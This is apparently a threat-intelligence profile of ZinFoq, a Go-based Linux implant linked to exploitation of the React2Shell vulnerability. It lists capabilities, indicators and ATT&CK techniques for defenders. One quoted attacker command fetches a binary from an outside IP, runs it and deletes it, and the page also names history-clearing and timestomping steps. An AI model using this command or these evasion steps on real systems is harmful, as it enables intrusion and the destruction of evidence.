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Mallory
Malware1 associated CVE

ZinFoq

Tracked since Dec 10, 2025 · Updated 7 months ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 daysNo mention activity in the last 30 days.
Vulns1Associated
Actors0Associated
ATT&CK17Techniques
IOCs8Tracked

ZinFoq is a Linux ELF post-exploitation implant written in Go and commonly referred to as ZinFoq. Huntress reported it during active exploitation of CVE-2025-55182 (React2Shell) against vulnerable React Server Components / Next.js deployments in December 2025. It was recovered as a statically compiled Go binary, with one reported sample SHA256 0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce, and is often dropped as /usr/bin/dockerd-update. Reported capabilities include command execution, interactive and reverse PTY shells, file browsing and exfiltration, file operations, SOCKS5 proxying for network pivoting, TCP port forwarding, timestomping, bash history clearing, and process-name masquerading. It communicates over HTTPS with api.qtss[.]cc using hex-encoded payloads and has been observed using the User-Agent string "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50" to masquerade as Safari on macOS. Additional reporting describes ZinFoq as a more destructive variant used for sabotage rather than espionage, deployed by a different actor cluster than EtherRAT. Anti-forensics and evasion behaviors attributed to ZinFoq include copying /bin/ls access, modify, and change timestamps onto itself, clearing bash history, disguising itself as legitimate Linux services, and monitoring /proc for analysis tools such as wireshark, tcpdump, strace, and sysdig; if detected, it reportedly self-destructs by wiping memory, deleting its on-disk binary, and exiting. It has been associated with Linux-focused intrusion activity affecting multiple sectors, including construction and entertainment, and YARA coverage has been published for ELF detection.

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Associated CVEs

Associated vulnerabilities

1 CVE Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.

CVE-2025-55182via huntress blogExploited in the wildReact2ShellWe identified a Go-based post-exploitation implant we've dubbed ZinFoq, which features interactive reverse shells, SOCKS5 proxying for network pivoting, and timestomping capabilities for anti-forensics. | Huntress is seeing threat actors exploit a vulnerability in React Server Components (CVE-2025-55182) across several organizations... Dubbed “React2Shell”, CVE-2025-55182 exists due to insecure deserialization... and can be exploited by unauthenticated attackers merely by crafting one malicious HTTP request.View vulnerability →Source ↗
MITRE ATT&CK

Techniques & procedures

17 distinct techniques documented for this family, organized by ATT&CK tactic.

Execution

3 techniques
T1059Command and Scripting InterpreterEvidence1

The commands follow the same methodology: download a shell script, execute it via bash, and in some cases delete the script to remove evidence.

T1059.003Windows Command ShellEvidence1

C:\WINDOWS\system32\cmd.exe /d /s /c "wget hxxp://45.76.155[.]14/vim -O /tmp/vim ; chmod +x /tmp/vim ; nohup /tmp/vim > /dev/null 2>&1 & wait ; rm -f /tmp/vim"

T1203Exploitation for Client ExecutionEvidence1

Attackers have attempted to deploy cryptominer malware, a Linux backdoor we're tracking as PeerBlight, a reverse proxy tunnel we call CowTunnel, and a Go-based post-exploitation implant dubbed ZinFoq as part of their post-exploitation activity.

Stealth

5 techniques
T1036MasqueradingEvidence1

The binary copies itself to /bin/systemd-daemon and enables the service using the generic "System Daemon" description.

T1036.009Break Process TreesEvidence1

PeerBlight overwrites argv[0] in memory to hide its original path ... and replaces it with [ksoftirqd].

T1070Indicator RemovalEvidence1

Finally, the script removes the downloaded temporary file, deletes the dropper script itself, clears the bash command history, and truncates the “.bash_history” file to eliminate evidence of the infection chain.

T1070.003Clear Command HistoryEvidence1

The implants clears bash history through two methods: “HISTIGNORE=*” prevents any commands from being recorded “history -c” clears the current session's history buffer

T1070.006TimestompEvidence1

We identified a Go-based post-exploitation implant we've dubbed ZinFoq, which features ... timestomping capabilities for anti-forensics.

Discovery

2 techniques
T1082System Information DiscoveryEvidence1

The threat actors also executed discovery commands such as whoami and echo $((41*271)) , which we assess was an attempt to probe for command execution capabilities and identify the underlying operating system.

T1083File and Directory DiscoveryEvidence1

The “explorer” command lists directory contents and returns JSON with file metadata... “explorerfile” reads the entire contents of a specified file...

Lateral Movement

1 technique
T1021Remote ServicesEvidence1

We identified a Go-based post-exploitation implant we've dubbed ZinFoq, which features interactive reverse shells...

Collection

1 technique
T1005Data from Local SystemEvidence1

uploadFile path, file server details Exfiltrates a file from the victim to the C2... explorer_download Exfiltrates a file to the C2.

Command and Control

4 techniques
T1071Application Layer ProtocolEvidence1

The payload, which we have named “ ZinFoq ” ... communicates with command-and-control infrastructure at “ api.qtss[.]cc ” over HTTPS using hex-encoded payloads

T1071.001Web ProtocolsEvidence1

All C2 traffic uses standard HTTP POST requests with a User-Agent string crafted to masquerade as Safari on macOS

T1090.003Multi-hop ProxyEvidence1

We identified a Go-based post-exploitation implant we've dubbed ZinFoq, which features interactive reverse shells, SOCKS5 proxying for network pivoting...

T1105Ingress Tool TransferEvidence1

The threat actor attempted to download multiple payloads from C2 servers... The commands follow the same methodology: download a shell script, execute it via bash...

Exfiltration

1 technique
T1041Exfiltration Over C2 ChannelEvidence1

All C2 traffic uses standard HTTP POST requests... explorer_download Exfiltrates a file to the C2.

Indicators of compromise

Observables

8 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.

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Indicator values are available in Mallory. Pivot on every hash, domain, URL, and IP, or pipe them straight into your SIEM.View all in Mallory
Activity feed

Recent activity

4 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

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Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching8Match every observed IP, domain, and hash against your live telemetry.
Associated threat actorsGroups linked to this family, with evidence pinned to each claim.
Associated vulnerabilities1CVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping17Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.